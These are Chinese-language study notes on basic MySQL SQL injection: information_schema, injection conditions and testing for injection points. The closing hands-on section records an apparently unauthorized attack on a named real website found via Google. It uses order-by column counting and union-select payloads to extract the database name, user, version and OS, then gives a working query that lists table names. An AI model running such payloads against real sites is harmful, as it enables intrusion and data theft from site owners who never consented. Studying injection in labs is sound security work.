Sql注入之简要注入
知识点:
1.在mysql5.0以上版本中,mysq1存在一个自带数据库名为
information_schema, 它是一个存储记录所有数据库名, 表名,列名的数据库,
也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
- 数据库中符号”.”代表下一级 例如:test.admin test数据库下的admin表
information_schema.tables :记录表明信息的表
Information_schema.columna:记录所有列名的表
table_name : 表名
columna_name:列名
table_schema:数据库名
Group_concat (table name) 查询所有表名
Schema :结构或组织。
Mysql注入
Sql注入原理:
通过拼接恶意代码带入到数据库进行查询的操作
Sql注入条件:
- 可控变量: 要有一个可以传递参数的变量
- 带入数据库操作:
- 存在过滤,或过滤不严谨
多参数注入
判断注入点:
通过输入id=1dadad 不存在的东西,如果dadad被带入数据库查询 则有注入 如果没有带入(页面正常显示) 则没有注入
有些网站对输入的参数进行监测,如果404 或 跳转页面 则没有注入
信息收集
操作系统
数据库名
数据库用户
数据库版本
其他(网站路径等)
数据注入
同数据库 ()
低版本 暴力查询
高版本 mysql5.0以上information_schema查询
高权限注入
常规查询
跨库查询
文件读写
实战
Google浏览器 随便找的一个网站
判断是否存在注入,将参数随便更改 id值带入数据库查询 存在sql注入。
猜解列明(字段)数 order by 为9
进行报错猜解
id=-118 union select 1,2,3,4,5,6,7,8,9 发现 回显点 3,4
根据上述信息收集,进行sql注入
数据库名字:jiuyu_jiuyu database()
数据库用户名:jiuyu@localhhost user()
数据库版本为:5.7.34 version()
操作系统:linux @@version_compile_os
查询指定数据库下的表名信息
http://www.diffuser.com.tw/page.php?id=-118 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables where table_schema=’jiuyu_jiuyu’
到此为止